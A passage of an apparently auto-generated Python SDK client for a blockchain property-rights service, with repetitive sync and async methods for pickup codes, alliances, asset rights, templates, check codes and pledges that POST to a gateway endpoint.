async def cancel_pickup_ex_async( self, request: propertychain_models.CancelPickupRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CancelPickupResponse: """ Description: 销毁提取码 Summary: 销毁提取码 """ UtilClient.validate_model(request) return propertychain_models.CancelPickupResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.pickup.cancel', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def disable_pickup( self, request: propertychain_models.DisablePickupRequest, ) -> propertychain_models.DisablePickupResponse: """ Description: 核销提取码 Summary: 核销提取码 """ runtime = util_models.RuntimeOptions() headers = {} return self.disable_pickup_ex(request, headers, runtime) async def disable_pickup_async( self, request: propertychain_models.DisablePickupRequest, ) -> propertychain_models.DisablePickupResponse: """ Description: 核销提取码 Summary: 核销提取码 """ runtime = util_models.RuntimeOptions() headers = {} return await self.disable_pickup_ex_async(request, headers, runtime) def disable_pickup_ex( self, request: propertychain_models.DisablePickupRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.DisablePickupResponse: """ Description: 核销提取码 Summary: 核销提取码 """ UtilClient.validate_model(request) return propertychain_models.DisablePickupResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.pickup.disable', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def disable_pickup_ex_async( self, request: propertychain_models.DisablePickupRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.DisablePickupResponse: """ Description: 核销提取码 Summary: 核销提取码 """ UtilClient.validate_model(request) return propertychain_models.DisablePickupResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.pickup.disable', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def create_league( self, request: propertychain_models.CreateLeagueRequest, ) -> propertychain_models.CreateLeagueResponse: """ Description: 创建联盟 Summary: 创建联盟 """ runtime = util_models.RuntimeOptions() headers = {} return self.create_league_ex(request, headers, runtime) async def create_league_async( self, request: propertychain_models.CreateLeagueRequest, ) -> propertychain_models.CreateLeagueResponse: """ Description: 创建联盟 Summary: 创建联盟 """ runtime = util_models.RuntimeOptions() headers = {} return await self.create_league_ex_async(request, headers, runtime) def create_league_ex( self, request: propertychain_models.CreateLeagueRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CreateLeagueResponse: """ Description: 创建联盟 Summary: 创建联盟 """ UtilClient.validate_model(request) return propertychain_models.CreateLeagueResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.league.create', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def create_league_ex_async( self, request: propertychain_models.CreateLeagueRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CreateLeagueResponse: """ Description: 创建联盟 Summary: 创建联盟 """ UtilClient.validate_model(request) return propertychain_models.CreateLeagueResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.league.create', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def add_league( self, request: propertychain_models.AddLeagueRequest, ) -> propertychain_models.AddLeagueResponse: """ Description: 加入联盟 Summary: 加入联盟 """ runtime = util_models.RuntimeOptions() headers = {} return self.add_league_ex(request, headers, runtime) async def add_league_async( self, request: propertychain_models.AddLeagueRequest, ) -> propertychain_models.AddLeagueResponse: """ Description: 加入联盟 Summary: 加入联盟 """ runtime = util_models.RuntimeOptions() headers = {} return await self.add_league_ex_async(request, headers, runtime) def add_league_ex( self, request: propertychain_models.AddLeagueRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.AddLeagueResponse: """ Description: 加入联盟 Summary: 加入联盟 """ UtilClient.validate_model(request) return propertychain_models.AddLeagueResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.league.add', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def add_league_ex_async( self, request: propertychain_models.AddLeagueRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.AddLeagueResponse: """ Description: 加入联盟 Summary: 加入联盟 """ UtilClient.validate_model(request) return propertychain_models.AddLeagueResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.league.add', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def confirm_league( self, request: propertychain_models.ConfirmLeagueRequest, ) -> propertychain_models.ConfirmLeagueResponse: """ Description: 审核加入联盟 Summary: 审核加入联盟 """ runtime = util_models.RuntimeOptions() headers = {} return self.confirm_league_ex(request, headers, runtime) async def confirm_league_async( self, request: propertychain_models.ConfirmLeagueRequest, ) -> propertychain_models.ConfirmLeagueResponse: """ Description: 审核加入联盟 Summary: 审核加入联盟 """ runtime = util_models.RuntimeOptions() headers = {} return await self.confirm_league_ex_async(request, headers, runtime) def confirm_league_ex( self, request: propertychain_models.ConfirmLeagueRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.ConfirmLeagueResponse: """ Description: 审核加入联盟 Summary: 审核加入联盟 """ UtilClient.validate_model(request) return propertychain_models.ConfirmLeagueResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.league.confirm', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def confirm_league_ex_async( self, request: propertychain_models.ConfirmLeagueRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.ConfirmLeagueResponse: """ Description: 审核加入联盟 Summary: 审核加入联盟 """ UtilClient.validate_model(request) return propertychain_models.ConfirmLeagueResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.league.confirm', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def query_league( self, request: propertychain_models.QueryLeagueRequest, ) -> propertychain_models.QueryLeagueResponse: """ Description: 查询联盟 Summary: 查询联盟 """ runtime = util_models.RuntimeOptions() headers = {} return self.query_league_ex(request, headers, runtime) async def query_league_async( self, request: propertychain_models.QueryLeagueRequest, ) -> propertychain_models.QueryLeagueResponse: """ Description: 查询联盟 Summary: 查询联盟 """ runtime = util_models.RuntimeOptions() headers = {} return await self.query_league_ex_async(request, headers, runtime) def query_league_ex( self, request: propertychain_models.QueryLeagueRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.QueryLeagueResponse: """ Description: 查询联盟 Summary: 查询联盟 """ UtilClient.validate_model(request) return propertychain_models.QueryLeagueResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.league.query', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def query_league_ex_async( self, request: propertychain_models.QueryLeagueRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.QueryLeagueResponse: """ Description: 查询联盟 Summary: 查询联盟 """ UtilClient.validate_model(request) return propertychain_models.QueryLeagueResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.league.query', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def create_importasset( self, request: propertychain_models.CreateImportassetRequest, ) -> propertychain_models.CreateImportassetResponse: """ Description: 创建资产信息 Summary: 创建资产信息 """ runtime = util_models.RuntimeOptions() headers = {} return self.create_importasset_ex(request, headers, runtime) async def create_importasset_async( self, request: propertychain_models.CreateImportassetRequest, ) -> propertychain_models.CreateImportassetResponse: """ Description: 创建资产信息 Summary: 创建资产信息 """ runtime = util_models.RuntimeOptions() headers = {} return await self.create_importasset_ex_async(request, headers, runtime) def create_importasset_ex( self, request: propertychain_models.CreateImportassetRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CreateImportassetResponse: """ Description: 创建资产信息 Summary: 创建资产信息 """ UtilClient.validate_model(request) return propertychain_models.CreateImportassetResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.importasset.create', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def create_importasset_ex_async( self, request: propertychain_models.CreateImportassetRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CreateImportassetResponse: """ Description: 创建资产信息 Summary: 创建资产信息 """ UtilClient.validate_model(request) return propertychain_models.CreateImportassetResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.importasset.create', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def update_importasset( self, request: propertychain_models.UpdateImportassetRequest, ) -> propertychain_models.UpdateImportassetResponse: """ Description: 更新物权 Summary: 更新物权 """ runtime = util_models.RuntimeOptions() headers = {} return self.update_importasset_ex(request, headers, runtime) async def update_importasset_async( self, request: propertychain_models.UpdateImportassetRequest, ) -> propertychain_models.UpdateImportassetResponse: """ Description: 更新物权 Summary: 更新物权 """ runtime = util_models.RuntimeOptions() headers = {} return await self.update_importasset_ex_async(request, headers, runtime) def update_importasset_ex( self, request: propertychain_models.UpdateImportassetRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.UpdateImportassetResponse: """ Description: 更新物权 Summary: 更新物权 """ UtilClient.validate_model(request) return propertychain_models.UpdateImportassetResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.importasset.update', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def update_importasset_ex_async( self, request: propertychain_models.UpdateImportassetRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.UpdateImportassetResponse: """ Description: 更新物权 Summary: 更新物权 """ UtilClient.validate_model(request) return propertychain_models.UpdateImportassetResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.importasset.update', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def cancel_importasset( self, request: propertychain_models.CancelImportassetRequest, ) -> propertychain_models.CancelImportassetResponse: """ Description: 注销物权 Summary: 注销物权 """ runtime = util_models.RuntimeOptions() headers = {} return self.cancel_importasset_ex(request, headers, runtime) async def cancel_importasset_async( self, request: propertychain_models.CancelImportassetRequest, ) -> propertychain_models.CancelImportassetResponse: """ Description: 注销物权 Summary: 注销物权 """ runtime = util_models.RuntimeOptions() headers = {} return await self.cancel_importasset_ex_async(request, headers, runtime) def cancel_importasset_ex( self, request: propertychain_models.CancelImportassetRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CancelImportassetResponse: """ Description: 注销物权 Summary: 注销物权 """ UtilClient.validate_model(request) return propertychain_models.CancelImportassetResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.importasset.cancel', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def cancel_importasset_ex_async( self, request: propertychain_models.CancelImportassetRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CancelImportassetResponse: """ Description: 注销物权 Summary: 注销物权 """ UtilClient.validate_model(request) return propertychain_models.CancelImportassetResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.importasset.cancel', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def freeze_importasset( self, request: propertychain_models.FreezeImportassetRequest, ) -> propertychain_models.FreezeImportassetResponse: """ Description: 冻结物权 Summary: 冻结物权 """ runtime = util_models.RuntimeOptions() headers = {} return self.freeze_importasset_ex(request, headers, runtime) async def freeze_importasset_async( self, request: propertychain_models.FreezeImportassetRequest, ) -> propertychain_models.FreezeImportassetResponse: """ Description: 冻结物权 Summary: 冻结物权 """ runtime = util_models.RuntimeOptions() headers = {} return await self.freeze_importasset_ex_async(request, headers, runtime) def freeze_importasset_ex( self, request: propertychain_models.FreezeImportassetRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.FreezeImportassetResponse: """ Description: 冻结物权 Summary: 冻结物权 """ UtilClient.validate_model(request) return propertychain_models.FreezeImportassetResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.importasset.freeze', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def freeze_importasset_ex_async( self, request: propertychain_models.FreezeImportassetRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.FreezeImportassetResponse: """ Description: 冻结物权 Summary: 冻结物权 """ UtilClient.validate_model(request) return propertychain_models.FreezeImportassetResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.importasset.freeze', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def unfreeze_importasset( self, request: propertychain_models.UnfreezeImportassetRequest, ) -> propertychain_models.UnfreezeImportassetResponse: """ Description: 解冻物权 Summary: 解冻物权 """ runtime = util_models.RuntimeOptions() headers = {} return self.unfreeze_importasset_ex(request, headers, runtime) async def unfreeze_importasset_async( self, request: propertychain_models.UnfreezeImportassetRequest, ) -> propertychain_models.UnfreezeImportassetResponse: """ Description: 解冻物权 Summary: 解冻物权 """ runtime = util_models.RuntimeOptions() headers = {} return await self.unfreeze_importasset_ex_async(request, headers, runtime) def unfreeze_importasset_ex( self, request: propertychain_models.UnfreezeImportassetRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.UnfreezeImportassetResponse: """ Description: 解冻物权 Summary: 解冻物权 """ UtilClient.validate_model(request) return propertychain_models.UnfreezeImportassetResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.importasset.unfreeze', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def unfreeze_importasset_ex_async( self, request: propertychain_models.UnfreezeImportassetRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.UnfreezeImportassetResponse: """ Description: 解冻物权 Summary: 解冻物权 """ UtilClient.validate_model(request) return propertychain_models.UnfreezeImportassetResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.importasset.unfreeze', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def query_importasset( self, request: propertychain_models.QueryImportassetRequest, ) -> propertychain_models.QueryImportassetResponse: """ Description: 查询物权 Summary: 查询物权 """ runtime = util_models.RuntimeOptions() headers = {} return self.query_importasset_ex(request, headers, runtime) async def query_importasset_async( self, request: propertychain_models.QueryImportassetRequest, ) -> propertychain_models.QueryImportassetResponse: """ Description: 查询物权 Summary: 查询物权 """ runtime = util_models.RuntimeOptions() headers = {} return await self.query_importasset_ex_async(request, headers, runtime) def query_importasset_ex( self, request: propertychain_models.QueryImportassetRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.QueryImportassetResponse: """ Description: 查询物权 Summary: 查询物权 """ UtilClient.validate_model(request) return propertychain_models.QueryImportassetResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.importasset.query', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def query_importasset_ex_async( self, request: propertychain_models.QueryImportassetRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.QueryImportassetResponse: """ Description: 查询物权 Summary: 查询物权 """ UtilClient.validate_model(request) return propertychain_models.QueryImportassetResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.importasset.query', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def all_importasset( self, request: propertychain_models.AllImportassetRequest, ) -> propertychain_models.AllImportassetResponse: """ Description: 物权列表 Summary: 物权列表 """ runtime = util_models.RuntimeOptions() headers = {} return self.all_importasset_ex(request, headers, runtime) async def all_importasset_async( self, request: propertychain_models.AllImportassetRequest, ) -> propertychain_models.AllImportassetResponse: """ Description: 物权列表 Summary: 物权列表 """ runtime = util_models.RuntimeOptions() headers = {} return await self.all_importasset_ex_async(request, headers, runtime) def all_importasset_ex( self, request: propertychain_models.AllImportassetRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.AllImportassetResponse: """ Description: 物权列表 Summary: 物权列表 """ UtilClient.validate_model(request) return propertychain_models.AllImportassetResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.importasset.all', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def all_importasset_ex_async( self, request: propertychain_models.AllImportassetRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.AllImportassetResponse: """ Description: 物权列表 Summary: 物权列表 """ UtilClient.validate_model(request) return propertychain_models.AllImportassetResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.importasset.all', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def batchquery_importasset( self, request: propertychain_models.BatchqueryImportassetRequest, ) -> propertychain_models.BatchqueryImportassetResponse: """ Description: 批量查询溯源信息 Summary: 批量查询溯源信息 """ runtime = util_models.RuntimeOptions() headers = {} return self.batchquery_importasset_ex(request, headers, runtime) async def batchquery_importasset_async( self, request: propertychain_models.BatchqueryImportassetRequest, ) -> propertychain_models.BatchqueryImportassetResponse: """ Description: 批量查询溯源信息 Summary: 批量查询溯源信息 """ runtime = util_models.RuntimeOptions() headers = {} return await self.batchquery_importasset_ex_async(request, headers, runtime) def batchquery_importasset_ex( self, request: propertychain_models.BatchqueryImportassetRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.BatchqueryImportassetResponse: """ Description: 批量查询溯源信息 Summary: 批量查询溯源信息 """ UtilClient.validate_model(request) return propertychain_models.BatchqueryImportassetResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.importasset.batchquery', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def batchquery_importasset_ex_async( self, request: propertychain_models.BatchqueryImportassetRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.BatchqueryImportassetResponse: """ Description: 批量查询溯源信息 Summary: 批量查询溯源信息 """ UtilClient.validate_model(request) return propertychain_models.BatchqueryImportassetResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.importasset.batchquery', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def create_template( self, request: propertychain_models.CreateTemplateRequest, ) -> propertychain_models.CreateTemplateResponse: """ Description: 创建数据字典 Summary: 创建数据字典 """ runtime = util_models.RuntimeOptions() headers = {} return self.create_template_ex(request, headers, runtime) async def create_template_async( self, request: propertychain_models.CreateTemplateRequest, ) -> propertychain_models.CreateTemplateResponse: """ Description: 创建数据字典 Summary: 创建数据字典 """ runtime = util_models.RuntimeOptions() headers = {} return await self.create_template_ex_async(request, headers, runtime) def create_template_ex( self, request: propertychain_models.CreateTemplateRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CreateTemplateResponse: """ Description: 创建数据字典 Summary: 创建数据字典 """ UtilClient.validate_model(request) return propertychain_models.CreateTemplateResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.template.create', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def create_template_ex_async( self, request: propertychain_models.CreateTemplateRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CreateTemplateResponse: """ Description: 创建数据字典 Summary: 创建数据字典 """ UtilClient.validate_model(request) return propertychain_models.CreateTemplateResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.template.create', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def update_template( self, request: propertychain_models.UpdateTemplateRequest, ) -> propertychain_models.UpdateTemplateResponse: """ Description: 更新数据字典 Summary: 更新数据字典 """ runtime = util_models.RuntimeOptions() headers = {} return self.update_template_ex(request, headers, runtime) async def update_template_async( self, request: propertychain_models.UpdateTemplateRequest, ) -> propertychain_models.UpdateTemplateResponse: """ Description: 更新数据字典 Summary: 更新数据字典 """ runtime = util_models.RuntimeOptions() headers = {} return await self.update_template_ex_async(request, headers, runtime) def update_template_ex( self, request: propertychain_models.UpdateTemplateRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.UpdateTemplateResponse: """ Description: 更新数据字典 Summary: 更新数据字典 """ UtilClient.validate_model(request) return propertychain_models.UpdateTemplateResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.template.update', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def update_template_ex_async( self, request: propertychain_models.UpdateTemplateRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.UpdateTemplateResponse: """ Description: 更新数据字典 Summary: 更新数据字典 """ UtilClient.validate_model(request) return propertychain_models.UpdateTemplateResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.template.update', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def query_template( self, request: propertychain_models.QueryTemplateRequest, ) -> propertychain_models.QueryTemplateResponse: """ Description: 查询数据字典 Summary: 查询数据字典 """ runtime = util_models.RuntimeOptions() headers = {} return self.query_template_ex(request, headers, runtime) async def query_template_async( self, request: propertychain_models.QueryTemplateRequest, ) -> propertychain_models.QueryTemplateResponse: """ Description: 查询数据字典 Summary: 查询数据字典 """ runtime = util_models.RuntimeOptions() headers = {} return await self.query_template_ex_async(request, headers, runtime) def query_template_ex( self, request: propertychain_models.QueryTemplateRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.QueryTemplateResponse: """ Description: 查询数据字典 Summary: 查询数据字典 """ UtilClient.validate_model(request) return propertychain_models.QueryTemplateResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.template.query', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def query_template_ex_async( self, request: propertychain_models.QueryTemplateRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.QueryTemplateResponse: """ Description: 查询数据字典 Summary: 查询数据字典 """ UtilClient.validate_model(request) return propertychain_models.QueryTemplateResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.template.query', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def all_template( self, request: propertychain_models.AllTemplateRequest, ) -> propertychain_models.AllTemplateResponse: """ Description: 数据字典列表信息 Summary: 数据字典列表信息 """ runtime = util_models.RuntimeOptions() headers = {} return self.all_template_ex(request, headers, runtime) async def all_template_async( self, request: propertychain_models.AllTemplateRequest, ) -> propertychain_models.AllTemplateResponse: """ Description: 数据字典列表信息 Summary: 数据字典列表信息 """ runtime = util_models.RuntimeOptions() headers = {} return await self.all_template_ex_async(request, headers, runtime) def all_template_ex( self, request: propertychain_models.AllTemplateRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.AllTemplateResponse: """ Description: 数据字典列表信息 Summary: 数据字典列表信息 """ UtilClient.validate_model(request) return propertychain_models.AllTemplateResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.template.all', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def all_template_ex_async( self, request: propertychain_models.AllTemplateRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.AllTemplateResponse: """ Description: 数据字典列表信息 Summary: 数据字典列表信息 """ UtilClient.validate_model(request) return propertychain_models.AllTemplateResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.template.all', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def create_checkcode( self, request: propertychain_models.CreateCheckcodeRequest, ) -> propertychain_models.CreateCheckcodeResponse: """ Description: 创建验权码 Summary: 创建验权码 """ runtime = util_models.RuntimeOptions() headers = {} return self.create_checkcode_ex(request, headers, runtime) async def create_checkcode_async( self, request: propertychain_models.CreateCheckcodeRequest, ) -> propertychain_models.CreateCheckcodeResponse: """ Description: 创建验权码 Summary: 创建验权码 """ runtime = util_models.RuntimeOptions() headers = {} return await self.create_checkcode_ex_async(request, headers, runtime) def create_checkcode_ex( self, request: propertychain_models.CreateCheckcodeRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CreateCheckcodeResponse: """ Description: 创建验权码 Summary: 创建验权码 """ UtilClient.validate_model(request) return propertychain_models.CreateCheckcodeResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.checkcode.create', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def create_checkcode_ex_async( self, request: propertychain_models.CreateCheckcodeRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CreateCheckcodeResponse: """ Description: 创建验权码 Summary: 创建验权码 """ UtilClient.validate_model(request) return propertychain_models.CreateCheckcodeResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.checkcode.create', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def check_checkcode( self, request: propertychain_models.CheckCheckcodeRequest, ) -> propertychain_models.CheckCheckcodeResponse: """ Description: 校验验权码 Summary: 校验验权码 """ runtime = util_models.RuntimeOptions() headers = {} return self.check_checkcode_ex(request, headers, runtime) async def check_checkcode_async( self, request: propertychain_models.CheckCheckcodeRequest, ) -> propertychain_models.CheckCheckcodeResponse: """ Description: 校验验权码 Summary: 校验验权码 """ runtime = util_models.RuntimeOptions() headers = {} return await self.check_checkcode_ex_async(request, headers, runtime) def check_checkcode_ex( self, request: propertychain_models.CheckCheckcodeRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CheckCheckcodeResponse: """ Description: 校验验权码 Summary: 校验验权码 """ UtilClient.validate_model(request) return propertychain_models.CheckCheckcodeResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.checkcode.check', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def check_checkcode_ex_async( self, request: propertychain_models.CheckCheckcodeRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CheckCheckcodeResponse: """ Description: 校验验权码 Summary: 校验验权码 """ UtilClient.validate_model(request) return propertychain_models.CheckCheckcodeResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.checkcode.check', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def create_assetpledge( self, request: propertychain_models.CreateAssetpledgeRequest, ) -> propertychain_models.CreateAssetpledgeResponse: """ Description: 创建质押申请 Summary: 创建质押申请 """ runtime = util_models.RuntimeOptions() headers = {} return self.create_assetpledge_ex(request, headers, runtime) async def create_assetpledge_async( self, request: propertychain_models.CreateAssetpledgeRequest, ) -> propertychain_models.CreateAssetpledgeResponse: """ Description: 创建质押申请 Summary: 创建质押申请 """ runtime = util_models.RuntimeOptions() headers = {} return await self.create_assetpledge_ex_async(request, headers, runtime) def create_assetpledge_ex( self, request: propertychain_models.CreateAssetpledgeRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CreateAssetpledgeResponse: """ Description: 创建质押申请 Summary: 创建质押申请 """ UtilClient.validate_model(request) return propertychain_models.CreateAssetpledgeResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.assetpledge.create', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def create_assetpledge_ex_async( self, request: propertychain_models.CreateAssetpledgeRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CreateAssetpledgeResponse: """ Description: 创建质押申请 Summary: 创建质押申请 """ UtilClient.validate_model(request) return propertychain_models.CreateAssetpledgeResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.assetpledge.create', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def release_assetpledge( self, request: propertychain_models.ReleaseAssetpledgeRequest, ) -> propertychain_models.ReleaseAssetpledgeResponse: """ Description: 质押放款 Summary: 质押放款 """ runtime = util_models.RuntimeOptions() headers = {} return self.release_assetpledge_ex(request, headers, runtime) async def release_assetpledge_async( self, request: propertychain_models.ReleaseAssetpledgeRequest, ) -> propertychain_models.ReleaseAssetpledgeResponse: """ Description: 质押放款 Summary: 质押放款 """ runtime = util_models.RuntimeOptions() headers = {} return await self.release_assetpledge_ex_async(request, headers, runtime) def release_assetpledge_ex( self, request: propertychain_models.ReleaseAssetpledgeRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.ReleaseAssetpledgeResponse: """ Description: 质押放款 Summary: 质押放款 """ UtilClient.validate_model(request) return propertychain_models.ReleaseAssetpledgeResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.assetpledge.release', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def release_assetpledge_ex_async( self, request: propertychain_models.ReleaseAssetpledgeRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.ReleaseAssetpledgeResponse: """ Description: 质押放款 Summary: 质押放款 """ UtilClient.validate_model(request) return propertychain_models.ReleaseAssetpledgeResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.assetpledge.release', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def repay_assetpledge( self, request: propertychain_models.RepayAssetpledgeRequest, ) -> propertychain_models.RepayAssetpledgeResponse: """ Description: 质押还款 Summary: 质押还款 """ runtime = util_models.RuntimeOptions() headers = {} return self.repay_assetpledge_ex(request, headers, runtime) async def repay_assetpledge_async( self, request: propertychain_models.RepayAssetpledgeRequest, ) -> propertychain_models.RepayAssetpledgeResponse: """ Description: 质押还款 Summary: 质押还款 """ runtime = util_models.RuntimeOptions() headers = {} return await 